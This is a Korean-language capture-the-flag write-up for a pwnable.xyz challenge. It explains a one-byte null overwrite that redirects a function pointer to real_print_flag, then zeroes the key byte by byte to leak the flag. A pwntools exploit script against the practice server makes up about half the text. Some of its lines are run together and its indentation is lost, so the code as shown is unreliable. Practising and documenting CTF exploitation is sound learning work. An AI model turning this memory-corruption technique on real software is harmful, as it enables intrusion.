print_flag가 아니라 real_print_flag!! 여기서 flag를 출력해준다.
real_print_flag함수의 오프셋은 0xb00이고 아까 print_flag에서 do_comment에 넣어줬던 f_do_comment함수의 오프셋은 0xb1f이다. do_comment가 f_do_comment의 주소를 저장하고 있을 때 "1"번 메뉴를 통해 1byte를 널로 덮어주면 f_do_comment의 주소를 real_print_flag의 주소로 바꿔줄 수 있다.
그 후 다시 "3"번 메뉴로 print_flag함수를 실행시키면 (BYTE)do_comment는 0이니까 질문의 대답에 "y"를 하지 않고 넘어가면 real_print_flag를 실행시킬 수 있다.
이런식으로 flag는 출력할 수 있다. 그러면 이제 진짜 flag가 출력될 수 있도록 해야되는데.. key를 전부 0으로 만들어주면 진짜 flag가 출력될 것이다.
만약 key_len에 0을 입력한다면 key의 첫 번째 byte가 0으로 세팅될 것이고 key_len에 1을 입력한다면 key의 두 번째 byte가 0으로 세팅될 것이다. 이렇게해서 쭉 한바이트씩 진짜 flag를 확인해보면 된다.
한번에 하려니까 조금씩 끊기고 한바이트씩 잘못된 부분도 가끔 생긴다. 그래서 앞부분 따로 뒷부분 따로 해주었다.
[payload]
from pwn import *
#context.log_level = 'debug'
r = remote("svc.pwnable.xyz", 30006)
#set do_comment
r.sendlineafter("> ", "3")
r.sendlineafter("? ", "y")
#1byte overflow
r.sendlineafter("> ", "1")
r.sendlineafter(": ", "64")
#find flag
flag = "F"for i inrange(1,33):
#set 0x00
r.sendlineafter("> ", "1")
r.sendlineafter(": ", str(i))
#load flag
r.sendlineafter("> ", "2")
#print flag
r.sendlineafter(">", "3")
r.sendlineafter("? ", "r")
flag += r.recv(64)[i]
print"flag : " + flag